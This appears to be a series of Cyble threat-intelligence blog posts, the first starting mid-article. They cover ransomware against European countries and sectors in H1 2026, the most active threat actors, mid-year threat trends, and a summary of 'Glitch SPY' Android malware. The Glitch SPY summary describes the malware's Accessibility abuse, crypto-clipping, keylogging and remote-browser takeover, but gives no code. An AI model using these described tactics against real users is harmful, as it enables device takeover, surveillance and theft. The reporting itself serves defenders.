European Security Implications: European manufacturing organizations should implement aggressive third-party risk management programs, particularly for US-based suppliers. Dragonforce's supply-chain sophistication suggests the group may bypass direct targeting in favor of compromising upstream vendors.

Also read: The Most Active Threat Actors of H1 2026

The Five Most Targeted European Nations

Germany: The Manufacturing Battleground

Attack Volume: 155 ransomware attacks (17.9% of regional total)

Germany's position as Europe's manufacturing powerhouse places it at the center of ransomware targeting campaigns. The nation's industrial sector—encompassing automotive, machinery, chemicals, and precision manufacturing—represents the most valuable ransomware target set in Europe.

Threat Actor Concentration:

• Qilin: 32 attacks (20.6% of German total)
• The Gentlemen: 32 attacks
• LockBit: 18 attacks
• Akira: 32 attacks
• Dragonforce: 9 attacks

Sectoral Breakdown:

• Manufacturing: 67 incidents (significant concentration)
• Construction: 38 incidents
• Professional Services: 28 incidents
• Technology: 15 incidents
• Healthcare: 12 incidents

Why Germany Faces Maximum Pressure

German organizations represent an optimal target combination: high asset value, supply-chain criticality, strong operational technology integration, and proven willingness to pay ransoms to maintain production schedules. Additionally, Germany's federal structure creates jurisdictional complexity that may slow law enforcement response.

The nation's Mittelstand (mid-market manufacturing firms) are particularly vulnerable—large enough to justify ransom payments, but sometimes lacking enterprise-grade security infrastructure.

Defensive Priority: German manufacturing organizations should assume Qilin, The Gentlemen, Akira, and Dragonforce all maintain active operations targeting their sector. Network segmentation between IT and operational technology (OT) environments should be elevated to critical priority.

United Kingdom: The Financial Services Crosshairs

Attack Volume: 138 ransomware attacks (15.9% of regional total)

The UK faces a different threat profile than Germany, driven primarily by London's position as a global financial services hub. While manufacturing is targeted, Banking, Financial Services, and Insurance (BFSI) organizations command disproportionate attention.

Threat Actor Concentration:

• Qilin: 26 attacks
• The Gentlemen: 26 attacks
• LockBit: 18 attacks
• Akira: 13 attacks
• Dragonforce: 11 attacks

Sectoral Breakdown:

• BFSI: 38 incidents (concentrated targeting)
• Technology: 32 incidents
• Retail: 26 incidents
• Professional Services: 24 incidents
• Government & LEA: 16 incidents

Why the UK Is Targeted

London's financial services ecosystem manages trillions in assets, making it extraordinarily valuable to data-exfiltrating threat actors. BFSI organizations hold customer financial data, internal financial records, and strategic information that commands premium prices on dark web marketplaces.

Additionally, regulatory requirements (FCA, PRA, etc.) create pressure for rapid ransom payment to avoid breach notification delays that could trigger regulatory sanctions.

Data Exfiltration Risk: The UK's status as a financial services hub makes it particularly vulnerable to data-centric attack strategies. Organizations should assume that successful breach attempts will include aggressive data exfiltration alongside encryption deployment.

Defensive Priority: UK BFSI organizations must implement robust data loss prevention (DLP), encryption for data in transit and at rest, and aggressive monitoring for unauthorized data access or exfiltration attempts.

France: The Balanced Threat

Attack Volume: 119 ransomware attacks (13.7% of regional total)

France experiences balanced threat distribution across multiple sectors, reflecting both its manufacturing capacity and significant professional services sector.

Threat Actor Concentration:

• Qilin: 28 attacks
• The Gentlemen: 28 attacks
• LockBit: 15 attacks
• Akira: 14 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Professional Services: 26 incidents
• Manufacturing: 24 incidents
• Construction: 19 incidents
• Technology: 14 incidents
• Healthcare: 10 incidents

Why France Faces Distributed Threat

As Europe's second-largest economy, France is attractive to ransomware operators across multiple sectors. The nation's professional services sector (legal, accounting, consulting) is particularly valuable for data exfiltration, while manufacturing remains a consistent target.

Defensive Priority: French organizations should implement sector-specific defensive strategies: professional services firms should prioritize client data protection and DLP, while manufacturing organizations should focus on OT segmentation and operational resilience.

Italy: The Construction and Manufacturing Hub

Attack Volume: 115 ransomware attacks (13.3% of regional total)

Italy faces concentrated targeting in construction and manufacturing sectors, with particular pressure on small-to-medium enterprises in industrial regions.

Threat Actor Concentration:

• Qilin: 19 attacks
• The Gentlemen: 18 attacks
• LockBit: 12 attacks
• Akira: 16 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Construction: 48 incidents (concentrated)
• Manufacturing: 38 incidents
• Professional Services: 18 incidents
• Retail: 14 incidents

Why Italy Faces Sector-Specific Pressure

Italy's construction industry is particularly vulnerable to ransom attacks due to tight project timelines and significant financial exposure. The nation's manufacturing sector, while sophisticated, sometimes operates with legacy infrastructure that creates exploitation opportunities.

Defensive Priority: Italian construction and manufacturing organizations should prioritize incident response readiness, backup infrastructure resilience, and supply-chain risk management.

Spain: The Emerging Risk

Attack Volume: 87 ransomware attacks (10.0% of regional total)

Spain experiences lower absolute attack volume than Germany, UK, France, or Italy, but faces concentrated pressure in manufacturing and professional services sectors.

Threat Actor Concentration:

• Qilin: 20 attacks
• The Gentlemen: 18 attacks
• LockBit: 8 attacks
• Akira: 12 attacks
• Dragonforce: 7 attacks

Sectoral Breakdown:

• Manufacturing: 28 incidents
• Professional Services: 19 incidents
• Construction: 16 incidents
• Technology: 10 incidents

Regional Observation: Spain's lower attack volume may reflect either lower overall ransomware targeting or more effective defensive implementations. Spanish security teams should not interpret lower numbers as reduced threat but rather as a baseline for future comparison.

Where European Organizations Face Maximum Risk: A Sectoral Analysis

Construction: The Ransomware Goldmine

Attack Volume: 107 documented incidents (58% of all sector targeting across regions – not just in Europe – analyzed)

Construction organizations face disproportionate ransomware targeting across the entire European region. This concentration reflects understood economic vulnerabilities that threat actors exploit with precision.

Why Construction Is Targeted

1. Time-Sensitive Financial Exposure: Construction projects operate under contractually-defined timelines. Each day of delay triggers cascading costs, financial penalties, and potential contract termination. Organizations facing potential loss of €50-100 million contracts will prioritize rapid recovery over law enforcement involvement.
2. Operational Technology Integration: Modern construction increasingly relies on Building Information Modeling (BIM), cloud-based project management, and real-time equipment tracking. This IT/OT convergence creates exploitation pathways unavailable in purely IT-based industries.
3. Supply-Chain Complexity: Construction projects depend on dozens of subcontractors and suppliers. Compromising a single upstream supplier can provide lateral access into prime contractors.
4. Financial Pressure: Construction firms often operate with tight cash flow, making ransom negotiation essential to preserve solvency.
5. Accessibility: Many construction firms, particularly smaller regional players, operate with basic security infrastructure, creating easy exploitation opportunities.

European Construction Risk Mapping:

• Germany (14 attacks): Heavy machinery and precision manufacturing integration
• Switzerland (10 attacks): Legacy infrastructure vulnerabilities
• Spain (13 attacks): Emerging targeting activity
• France (10 attacks): Balanced threat across major metropolitan areas
• UK (21 attacks): Infrastructure project concentration (rail, utilities, etc.)

Defensive Recommendations for Construction:

• Network Segmentation: Isolate operational technology (project equipment, heavy machinery) from corporate IT networks
• Access Control: Implement strict authentication for remote project management tools (Autodesk Forge, Procore, etc.)
• Immutable Backups: Maintain offline, immutable backups of critical BIM files and project documentation
• Incident Response Readiness: Develop construction-specific response playbooks addressing project continuity
• Supply-Chain Due Diligence: Implement security requirements for subcontractors and equipment suppliers

Professional Services: The Data Exfiltration Target

Attack Volume: 86 documented incidents

Professional services firms (law, accounting, consulting) face sophisticated targeting driven by data exfiltration opportunities rather than operational disruption pressure.

Why Professional Services Are Targeted

1. Client Confidentiality Risk: Legal privilege and client confidentiality create existential regulatory and reputational exposure. Threat actors leverage this to demand premium ransoms.
2. Sensitive Data Concentration: Professional services firms accumulate client financial records, litigation strategies, tax information, and corporate secrets—all commanding premium dark web prices.
3. Regulatory Exposure: GDPR breach notification requirements create pressure for rapid response and ransom payment to avoid regulatory sanctions.
4. Supply-Chain Position: Professional services firms advise major corporations; compromising advisors provides indirect access to clients.
5. Trust-Based Business Model: Client relationships depend on confidentiality. A single breach can destroy long-term client relationships and firm reputation.

European Professional Services Risk:

• France (16 attacks): Concentrated targeting of Paris-based firms
• Germany (16 attacks): Heavy focus on Frankfurt financial advisory firms
• UK (17 attacks): London-based legal and accounting partnerships
• Italy (6 attacks): Milan and Rome-based advisory firms
• Spain (7 attacks): Barcelona and Madrid professional services sector

Key Finding: Professional services firms experience disproportionate data breach incidents (exfiltration with confirmed leak activity) compared to other sectors. Of the 51 total data breach incidents across Europe and UK, professional services represents a concentrated target.

Defensive Recommendations:

• Client Data Segregation: Isolate client data on separate network segments with distinct access controls
• Data Loss Prevention (DLP): Deploy DLP solutions with aggressive egress controls monitoring client data exfiltration
• Encryption Standards: Implement client-facing encryption for all sensitive communications
• Access Auditing: Maintain comprehensive logs of all access to sensitive client data
• Ransomware-Specific Insurance: Consider cyber insurance with specific ransomware coverage addressing confidentiality exposure

Manufacturing: The Supply-Chain Critical Target

Attack Volume: 123 documented incidents

European manufacturing organizations face sophisticated, supply-chain-aware threat actors who understand production dependencies and downtime economics.

Why Manufacturing Is Targeted

1. Operational Technology Integration: Modern factories integrate IT and OT systems. Ransomware deployment can halt production lines, creating catastrophic financial exposure.
2. Supply-Chain Criticality: Manufacturing downtime cascades through dependent enterprises. A single organization's compromise can impact dozens of downstream customers.
3. Export Dependency: European manufacturers serve global markets. Production delays translate directly into lost revenue and market share.
4. Legacy Infrastructure: Many manufacturing facilities operate aging, unpatched systems integrated with newer IT infrastructure, creating exploitation bridges.
5. Financial Pressure: Manufacturing organizations face razor-thin margins; production downtime can drive solvency crises.

Geographic Manufacturing Risk Concentration:

• Germany (27 attacks): Automotive, machinery, precision manufacturing
• Italy (21 attacks): Fashion, machinery, chemical manufacturing
• France (15 attacks): Automotive, aerospace, industrial manufacturing
• Spain (10 attacks): Automotive, machinery, manufacturing
• UK (14attacks): Aerospace, automotive, precision manufacturing

Critical Vulnerability Pattern: Manufacturing organizations are disproportionately targeting known, exploitable vulnerabilities in critical infrastructure appliances (network appliances, security tools, identity systems). Rather than deploying zero-days, threat actors exploit patched vulnerabilities that organizations have not implemented.

Defensive Recommendations:

• OT/IT Segmentation: Implement airgapped network separation between operational technology and corporate IT
• Vulnerability Management Prioritization: Focus patching efforts on network appliances, security tools, and identity systems
• Industrial Control System (ICS) Monitoring: Deploy behavioral monitoring for unusual activity on manufacturing control systems
• Immutable Backup Strategy: Maintain completely offline backups of critical manufacturing configurations
• Supply-Chain Security Program: Implement tier-1 and tier-2 supplier security assessments and vulnerability scanning
• Incident Response Scenario Planning: Develop detailed playbooks for production-line ransomware scenarios

Healthcare: The Critical Infrastructure Threat

Attack Volume: 35 documented incidents

Healthcare organizations face a unique threat dynamic where ransomware directly endangers patient safety, creating existential operational pressure distinct from financial threats.

Why Healthcare Is Targeted

1. Patient Safety Risk: Ransomware disables critical medical systems (diagnostic equipment, pharmaceutical dispensing, patient records). Unlike other industries, downtime directly threatens life.
2. Regulatory Pressure: GDPR, HIPAA-equivalent regulations, and national privacy laws create breach notification requirements that incentivize ransom payment.
3. Data Value: Patient medical records, pharmaceutical research data, and clinical trial information command premium dark web prices.
4. Continuous Operation Requirement: Unlike manufacturing or services, healthcare cannot delay critical procedures. The operational pressure to pay ransoms is existential.
5. System Complexity: Healthcare IT environments integrate numerous legacy systems (PACS, EHR, medical devices) with varying security architectures.

European Healthcare Risk Distribution:

• Germany (14 attacks): Concentrated in Berlin, Munich, and Frankfurt urban medical centers
• Austria (2 attacks): private healthcare sector
• France (5 attacks): Concentrated in Paris and Lyon region hospitals
• Switzerland (3 attacks): medical centers
• Spain (3 attacks): Barcelona and Madrid hospital networks

Critical Finding: Healthcare organizations experience disproportionately high data breach incident rates, suggesting organized threat actors specifically target health information exfiltration.

Defensive Recommendations:

• Clinical System Isolation: Implement complete network separation between clinical systems and corporate IT
• Redundant Critical Systems: Deploy redundant diagnostic and pharmaceutical systems capable of manual operation
• Patient Data Encryption: Implement end-to-end encryption for all patient medical records
• Breach Response Planning: Develop healthcare-specific incident response plans addressing patient notification and continuity of care
• Medical Device Security: Implement inventory and monitoring for all connected medical devices
• Supply-Chain Assessment: Assess security of medical device manufacturers and pharmaceutical distributors

The Data Exfiltration Reality: Beyond Encryption

Confirmed Data Breaches: 51 Incidents Across Europe and UK

While ransomware attacks total 866, only 51 incidents resulted in confirmed data breaches and leaks (5.9% confirmation rate). This apparent low percentage masks a critical operational truth: organizations cannot distinguish between encryption-only attacks and data exfiltration scenarios until exfiltration attempts or threats emerge.

Data Breach Distribution by Sector:

Sector	Confirmed Breaches	Percentage
BFSI	9	17.6%
Telecom	9	17.6%
Retail	8	15.7%
Government & LEA	6	11.8%
Media & Entertainment	5	9.8%
Technology	4	7.8%
Healthcare	4	7.8%
Automotive	3	5.9%
Construction	2	3.9%
Education	1	2.0%
Others	6	11.8%

Critical Observation: BFSI and Telecom sectors experience disproportionate data breach incidents, suggesting these industries are specifically targeted for data exfiltration rather than operational disruption. The strategic implication is clear: threat actors targeting financial and telecommunications organizations prioritize data monetization over ransom payment.

Most Active Threat Actors in Data Exfiltration: The Leak Economy

Primary Exfiltration Actors:

Actor	Confirmed Leak Posts	Targeting Pattern
tanaka	6	Industry-agnostic, global operations
kazutlg	4	BFSI and Professional Services focus
aslan1	2	Government and Technology sectors
darkcybervault	2	Retail and Professional Services
breach3d	2	Technology focus
frog	2	Diverse sector targeting
ken6k	2	BFSI concentration
max9898	2	Retail and Technology
worldrdp	2	Technology sector
zyad2drkwb	2	Government targeting
zoozkooz	2	Diverse sector
mr_x1	1	Retail focus
ventuuas	1	Professional Services
Others	18	Distributed diverse targeting

Strategic Finding: While Qilin, The Gentlemen, and LockBit dominate ransomware attack volume, data exfiltration is fragmented across numerous smaller actors, including tanaka (6 posts), kazutlg (4 posts), and dozens of single-incident operators. This suggests a mature data brokerage ecosystem where extracted data is resold to specialized exfiltration actors.

Dark Web Data Marketplace Activity:

• 916 unique domains impacted by data leaks
• Approximately 86 distinct leak posts across dark web channels
• Data types: Financial records, customer PII, medical records, intellectual property, trade secrets

Implication: Organizations can no longer assume encrypted data is "lost forever" if backups are restored. Exfiltrated data will be monetized regardless of whether organizations pay ransoms. Data loss prevention becomes as critical as ransomware detection.

Geopolitical and Ideological Dimensions: The Activism-Cybercrime Convergence

Pro-Russian Hacktivism: Blurred Lines Between Ideology and Profit

H1 2026 witnessed increasing overlap between geopolitically motivated hacktivism and financially motivated cybercrime, particularly among pro-Russian collectives targeting NATO-aligned European nations.

Key Threat Actors to Monitor

NoName057(16) - The Pro-Russian DDoS Coalition

• Primary Activity: Large-scale DDoS attacks against NATO-aligned governments and Ukrainian supporters
• Secondary Activity: Data exfiltration for monetization
• Geographic Targets: Estonia, UK, Ukraine, Italy, Spain, France, Poland, Norway, Denmark, Lithuania, Latvia, Czech Republic, Germany, Moldova
• Operational Pattern: Coordinated DDoS campaigns often accompanied by data theft and subsequent leak activity

Operational Evolution: NoName057(16) began as a purely activist collective claiming ideological motivation (anti-NATO, pro-Russia). By H1 2026, the group had evolved to include data exfiltration and monetization—suggesting either organizational evolution or infiltration by financially motivated threat actors.

Strategic Implication: European organizations cannot compartmentalize threat modeling. A geopolitically motivated attack that begins as a DDoS campaign can transition into ransomware deployment when exfiltration opportunities present themselves.

Strategic Defense Recommendations for European Organizations

Prioritized Defensive Roadmap

Based on CRIL's H1 2026 regional data, European security leaders should prioritize defensive investments in the following sequence:

Phase 1: Critical Infrastructure Protection (30 days)

1. Inventory Network Appliances: Document all network appliances (firewalls, SD-WAN platforms, security gateways, VPNs)
2. Patch Critical CVEs: Prioritize patches for Cisco, Ivanti, Palo Alto, Fortinet, and Microsoft appliances
3. Access Control Hardening: Implement MFA for all remote administrative access to network infrastructure
4. Monitoring Deployment: Deploy behavioral monitoring on network appliances for anomalous activity

Phase 2: Data Protection (60 days)

1. Data Inventory: Identify and catalog sensitive data holdings (customer data, financial records, intellectual property)
2. DLP Implementation: Deploy data loss prevention solutions with egress monitoring
3. Encryption Standards: Implement encryption for data in transit (TLS 1.3+) and at rest (AES-256)
4. Access Logging: Enable comprehensive audit logging for all sensitive data access

Phase 3: Operational Resilience (90 days)

1. Immutable Backups: Establish offline, immutable backup infrastructure isolated from network access
2. Incident Response Planning: Develop organization-specific incident response playbooks addressing ransomware scenarios
3. Business Continuity: Identify critical business functions and develop continuity strategies
4. Disaster Recovery Testing: Conduct quarterly backup restoration testing to verify recovery capabilities

Phase 4: Threat Hunting and Detection (Ongoing)

1. Threat Intelligence Integration: Subscribe to European threat intelligence feeds focusing on Qilin, The Gentlemen, LockBit, Akira, and Dragonforce
2. Behavioral Detection: Deploy endpoint detection and response (EDR) solutions with behavioral analytics
3. Supply-Chain Monitoring: Implement continuous monitoring of vendor and supplier security posture
4. Insider Threat Program: Develop insider threat detection capabilities focusing on data exfiltration attempts

Regional Threat Actor Summary: Who Targets Your European Organization

Sector-Specific Threat Actor Mapping

If You're in Construction:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: Network segmentation gaps, supply-chain vulnerabilities, legacy OT systems
• Defensive Focus: OT/IT segmentation, immutable backups, supplier security assessment

If You're in Professional Services:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: LockBit, Akira
• Vulnerability: Client data exfiltration, regulatory exposure, ransomware payment pressure
• Defensive Focus: DLP, client data encryption, ransomware-specific insurance

If You're in Manufacturing:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: OT/IT integration, supply-chain exploitation, operational downtime pressure
• Defensive Focus: OT segmentation, vulnerability prioritization, continuity planning

If You're in BFSI:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration actors (tanaka, kazutlg)
• Vulnerability: Financial data value, regulatory breach notification pressure, customer trust exposure
• Defensive Focus: Data encryption, DLP with aggressive egress controls, cyber insurance

If You're in Healthcare:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration operators
• Vulnerability: Patient safety risk, critical operational pressure, medical device security
• Defensive Focus: Clinical system isolation, redundant critical systems, incident response for operational continuity

Conclusion: The European Ransomware Reality

Europe and the UK face a mature, organized ransomware ecosystem dominated by five sophisticated threat actors who have developed deep understanding of regional economic vulnerabilities. The threat is not random or opportunistic—it is strategic, targeted, and evolved.

Key Takeaways:

1. Five groups dominate: Qilin (158 attacks), The Gentlemen (144), LockBit (61), Akira (59), and Dragonforce (54) collectively account for 476 of 866 documented attacks (55%). European security leaders can build specific defensive strategies against known adversaries.
2. Geography matters: Germany, UK, France, Italy, and Spain face distinct threat profiles. Security strategies must be regionally and sector-specific, not generic.
3. Sectors are targeted deliberately: Construction, Professional Services, and Manufacturing are not randomly selected—they face extraordinary pressure due to economic vulnerabilities that threat actors systematically exploit.
4. Data exfiltration is the primary leverage: Of 866 attacks, only 51 resulted in confirmed breaches—but this understates the risk. Organizations must assume all breaches involve data exfiltration and cannot rely on backup restoration alone.
5. Patch management is the primary defense: Nearly 90% of exploited vulnerabilities had patches available. Disciplined patch management, particularly for network appliances, would prevent the vast majority of successful attacks.
6. Known vulnerabilities are the current threat: Despite awareness of zero-day sophistication, threat actors continue exploiting known vulnerabilities because patches lag adoption. This creates a predictable exploitation window that defensive teams can close.

For European security leaders, the path forward is to understand your regional threat actors, prioritize critical infrastructure protection, implement robust data protection measures, and establish resilient backup and recovery infrastructure. The threat is severe, but it is also understood and defensible. The question is not whether European organizations will face ransomware attacks in the remainder of 2026 and beyond—the data confirms they will. The question is whether they will be prepared.

The post Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors appeared first on Cyble.

You may have heard your peers say, “Cybercrime has become industrialized.” But did you have any proof? 

We do. 

Cyble Research and Intelligence Labs (CRIL) closed out its tracking for the first half of 2026 with a deep analysis of the Global Threat Landscape spanning ransomware, initial access brokers, data breaches and leaks, nation-state espionage, and hacktivism, among others.  

One of the most striking analyses that puts the threat landscape severity in perspective was the number of distinct threat actor profiles active worldwide between January and June. 261 — that’s how many identifiable groups and individuals, each with its own tradecraft, targeting logic, and operational rhythm, running campaigns simultaneously across nation-state espionage, ransomware, hacktivism, and cybercrime.

What makes this data set valuable isn't just the headline count. It's what the composition reveals. A threat landscape dominated by nation-state APT groups tells a very different story than one dominated by ransomware crews — and as Cyble's regional breakdown shows, that composition shifts dramatically depending on where you're standing. 

The Worldwide Picture of Most Active Threat Actors: APTs Lead, But Not Everywhere 

Across all 261 profiles tracked globally, nation-state Advanced Persistent Threat (APT) groups were the single largest category — accounting for 118 profiles, or just over 45% of the total. Ransomware operators came second at 75 profiles (29%), followed by hacktivist collectives (34), cybercriminal groups (31), and dedicated extortion-only gangs, which remained a niche category at just 3. 

Threat Actor Category	Profiles Tracked	Share of Total
Nation-State APT Groups	118	45.2%
Ransomware Groups	75	28.7%
Hacktivist Collectives	34	13.0%
Cybercriminal Groups	31	11.9%
Extortion-Only Groups	3	1.1%
Total	261	100%

That APT dominance reflects the sheer number of state-sponsored programs China, North Korea, Iran, and Russia field simultaneously across espionage, intellectual property theft, and pre-positioning operations.

The extortion-only category being almost statistically irrelevant is telling too — it confirms that pure extortion has essentially been absorbed into the ransomware business model rather than surviving as an independent specialty. Double extortion is now just how ransomware works. 

Worried your business is not immune to the tactics of these APT and ransomware groups? Book a demo to validate and fortify your defenses today! 

Threat Actors to Watch Out For 

CRIL flagged five groups worldwide as carrying the highest confidence and activity levels for security teams to track through the rest of 2026: 

Actor	Origin	Primary Targets	Sectors Targeted
Bluenoroff	North Korea (Lazarus subgroup)	Global — cryptocurrency sector	Cryptocurrency, Financial Services
UNC6508	China (PRC-nexus espionage)	US, Canada	Education, Healthcare, Government, Aerospace & Defense
Volt Typhoon	China (state-sponsored)	US (incl. Guam) and allies	Communications, Energy, Manufacturing, Government, IT
Desert Falcons	Palestine	UAE, Israel, Jordan, and 12+ other MEA nations	Aerospace & Defense, Government, Law Enforcement, Media
SideCopy	Pakistan	India, Afghanistan	Government, Defense/military

Two of these deserve particular attention for how they operate.  

Bluenoroff, a financially motivated Lazarus Group subgroup, funds North Korean state operations by impersonating established crypto investors and planting malicious links inside victims' Calendly scheduling accounts. This fraud vector blends social engineering with a tool most professionals trust implicitly.  

Volt Typhoon continues to favor "living off the land" techniques that blend into normal network activity, prioritizing long-term undetected access over rapid data theft — a profile consistent with pre-positioning for a future disruption event rather than opportunistic espionage. 

UNC6508 is worth flagging separately: the group compromises externally accessible REDCap research environments and has been observed creating malicious mail-forwarding rules to silently exfiltrate correspondence — all routed through US-based residential proxies and compromised routers specifically to obscure attribution. 

For a regional breakdown of which actors were the most active and which sectors they target, download Cyble Research and Intelligence Labs’ H1 2026 Global Threat Landscape Report. 
 
Download now! 

Track These Threat Actors in Real Time

The threat actor profiles, targeting patterns, and regional breakdowns in this analysis are drawn from Cyble's H1 2026 Global Threat Landscape Report, built on continuous monitoring across dark web forums, ransomware leak sites, and threat actor communications worldwide.  

Cyble Vision provides ongoing tracking of these groups — including new actor emergence, TTP shifts, and targeting changes — as they develop.  

Request a demo to see how continuous threat actor intelligence can sharpen your regional security priorities. 

The post APTs Top the List of Most Active Threat Actors in H1 2026 appeared first on Cyble.

The first half of 2026 has given security teams little room to breathe. Ransomware operators kept up a punishing pace. If that wasn’t enough, access brokers turned network intrusions into a marketplace, and nation-state activity blurred further into hacktivism and organized cybercrime. Taken together, the numbers point to a threat landscape that isn't just growing louder; it's becoming faster, more coordinated, and harder to attribute. 

Cyble's monthly and quarterly research has tracked this shift in real time, and the pattern across regions is consistent. In short, attackers are scaling operations while defenders are still catching up. These threat intelligence trends 2026 also provide an early look at the top cyber threats 2026 and what organizations should expect during the remainder of the year. 

Ransomware Set the Pace for Threat Intelligence Trends in 2026 

Ransomware was one of the biggest threat intelligence trends by far in 2026, in terms of visibility. In just the month of March, a total of 702 ransomware attacks and 54 major data breaches and leaks were registered worldwide. More than 56% of that activity was brought by five groups-Qilin, Akira, The Gentlemen, Dragonforce, and INC Ransom- showing how much consolidation has taken place in the ecosystem. 

The pattern was consistent across regions. In the Americas, there were 1,305 cyber incidents in Q1 2026, of which 1,138 were publicly claimed ransomware attacks — and, once again, just five groups drove 58% of that volume. The most affected were construction, professional services, manufacturing, healthcare, and government bodies, primarily because downtime in these sectors has immediate operational or public-safety consequences. 

Dual-extortion tactics, pairing data theft with system disruption, have become close to standard practice. 

Access Brokers Are Quietly Powering the Ecosystem 

The purchase and sale of access to compromised networks is a major driver of ransomware and espionage campaigns. In March 2026, 20 distinct incidents of the sale of access were observed on underground forums, and the most commonly listed sectors were professional services (25%) and retail (20%).  

Three of these sellers, vexin, holyduxy, and algoyim, accounted for over 55% of this activity, effectively forming a supply chain for the larger attacks. This is one of the upstream markets where response time matters; access is usually sold and exploited long before a breach is publicly detected. 

What if attackers are already buying access to your environment before you know it's been compromised? Discover how Cyble Attack Surface Management helps identify exposed assets and reduce opportunities for initial access.

Identity Has Replaced the Perimeter 

Perhaps the biggest change over the past year has been the shift from malware-first breaches to attacks based on identities. Credential theft, MFA bypass, session hijacking, and third-party access abuses have all become key vectors. Instead of breaking in, attackers are logging in -- and that has some serious implications for the design of monitoring and access controls. 

The numbers back this up. In North America, technology and financial services accounted for 44% of all breach activity in the first half of 2026 — sectors where identity and access sit right at the center of daily operations. Nearly 300 domains were also hit by hacktivist campaigns in the region over that same time, reminding everyone that disruption doesn't always have to come from a super-sophisticated intrusion; sometimes all it takes is one exposed login or an edge system that's gone unpatched. 

Attackers don't always break in anymore—they simply log in. Learn how Cyble Brand Intelligence & Protection helps detect exposed credentials and identity-related threats before they're exploited.

Geopolitics Is Now a Cyber Multiplier 

State-sponsored activity has grown more strategic, with actors focused on mapping dependencies and pre-positioning access rather than pursuing immediate disruption. Regional tensions have accelerated this further, with hybrid operations blending cyberattacks, disinformation, and kinetic action in ways that ripple well beyond the immediate conflict zone.  

During the February 2026 escalation in the Middle East, internet connectivity in targeted regions dropped to as low as 1–4% of normal levels, more than 70 hacktivist groups joined the fray, and disruption to navigation systems affected over 1,100 vessels near the Strait of Hormuz. More than 8,000 conflict-themed domains were also registered during this period to run scams, malware, and disinformation campaigns.  

Critical infrastructure, energy, water, transportation, and communications have emerged as the common target across nearly every regional threat report published this year, and India's own H1 tally from 2024 (593 attacks, including 388 breaches, 107 leaks, and 39 ransomware incidents) shows the same dynamics playing out closer to home. 

AI Is Reshaping Both Sides of the Fight 

AI-driven tooling has moved from experimental to operational. An open-source AI-native testing framework was used to compromise more than 600 Fortinet FortiGate appliances across 55 countries, while 26 malicious npm packages linked to North Korean actors distributed RAT malware through Pastebin- and Vercel-based infrastructure. These incidents also reflect broader vulnerability exploitation trends, where exposed security infrastructure is weaponized rapidly after vulnerabilities become known. 

This tracks with a broader trend flagged going into the year: AI-driven ransomware activity jumped 50%, and October 2025 alone saw software supply chain attacks spike 32% above the previous record. On the defensive side, organizations are beginning to lean on AI-assisted monitoring to keep pace with attacks that no longer unfold on human timescales. 

Cyble Blaze AI accelerates these threat investigations with AI-powered analysis, helping security teams quickly understand, prioritize, and respond to cyber threats. 

Threats evolve every day. Your threat intelligence should too. See how Cyble Cyber Threat Intelligence delivers actionable insights across ransomware, identity, vulnerabilities, and emerging threats.

Conclusion 

The first half of the year highlights a few things about threat intelligence trends that need to be cleared up. First, threat actors are operating with more coordination. Second, less patience, and overlapping motives, financial, political, and strategic. And lastly, organizations that treat cybersecurity as a purely technical function are recalibrating, with boards and executives now directly involved in risk decisions. 

Taken together, these developments provide a clear mid-year threat intelligence trends forecast and shape the broader cyber risk outlook for 2026. Security teams should expect attackers to continue scaling operations, exploiting identities, and leveraging AI throughout the remainder of the year. 

Cyble's full H1 2026 Threat Landscape Report will bring together this data with deeper sector, regional, and actor-level analysis to help security teams prioritize what actually matters for the second half of the year. 

What happened in H1 2026 will define the threats of tomorrow.

From ransomware operations and underground access markets to AI-driven attacks and geopolitical cyber campaigns, the threat landscape is evolving faster than ever.

Download Cyble’s H1 2026 Threat Landscape Report to understand what security leaders should prepare for in the second half of the year.

Subscribe to get Cyble's ongoing threat intelligence coverage across ransomware, dark web activity, and emerging attack trends.   

References: 

• https://cyble.com/blog/monthly-threat-landscape-march-2026/ 

• https://cyble.com/blog/critical-infrastructure-cyberattack-threats-2026/ 

• https://cyble.com/blog/hybrid-warfare-2026-cyber-kinetic-threats/ 

The post Mid-Year Threat Trends: What H1 2026 Signals for the Rest of the Year appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.

Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, targeting users in Poland or Polish expats.

The downloaded application functions as a dropper and installs the Glitch SPY payload after convincing the user to allow installation from unknown sources. Glitch SPY prompts the victim to enable Android Accessibility Service, which it abuses to automate permission grants, interact with the device UI, extract visible screen content, perform gestures, support remote input, and enable further post-infection activity.

Glitch SPY maintains a persistent WebSocket channel to its C&C server and supports over 70 commands spanning live screen streaming and remote control, screenshot and screen-reader capture, SMS, contact, call log, and location theft, camera and microphone surveillance, keylogging, file management, and shell execution.

Beyond standard surveillance, it includes a crypto-clipper that swaps copied wallet addresses across multiple blockchain formats, file encryption/decryption routines, device-unlock and credential-capture logic, and a hidden remote-browser capability that lets attackers conduct web-based account takeover from the victim's own device and IP.

The Builder module lets operators set a custom app name, package ID, icon, and decoy URL per payload, indicating the platform is designed for redistribution across multiple campaigns, not a single targeted operation.

Key Takeaways

• Glitch SPY is an emerging Android RAT/builder platform identified through branding observed on an exposed C&C admin panel.
• The malware is distributed via a fake Polish rental app website that encourages users to download and install an APK outside official app stores.
• The downloaded application is the Brokewell Android Loader, which acts as a dropper and deploys the Glitch SPY payload.
• Glitch SPY heavily abuses the Android Accessibility Service to auto-grant permissions, extract on-screen content, perform taps and gestures, and operate the device with minimal user interaction.
• Glitch SPY supports extensive surveillance and theft capabilities, including screen streaming, screenshots, keylogging, SMS theft, contact and call log collection, file access, audio and camera capture, clipboard monitoring, location tracking, and remote browser control.
• The malware includes a crypto-clipper that swaps copied wallet addresses across multiple formats (ETH/EVM, TRON, Bitcoin legacy, and Bech32) with attacker-controlled addresses, directly targeting cryptocurrency users.
• The exposed Glitch SPY panel confirms the presence of modules such as Agents, Viewer, Builder, Cryptor, Dropper, Settings, and Payloads.
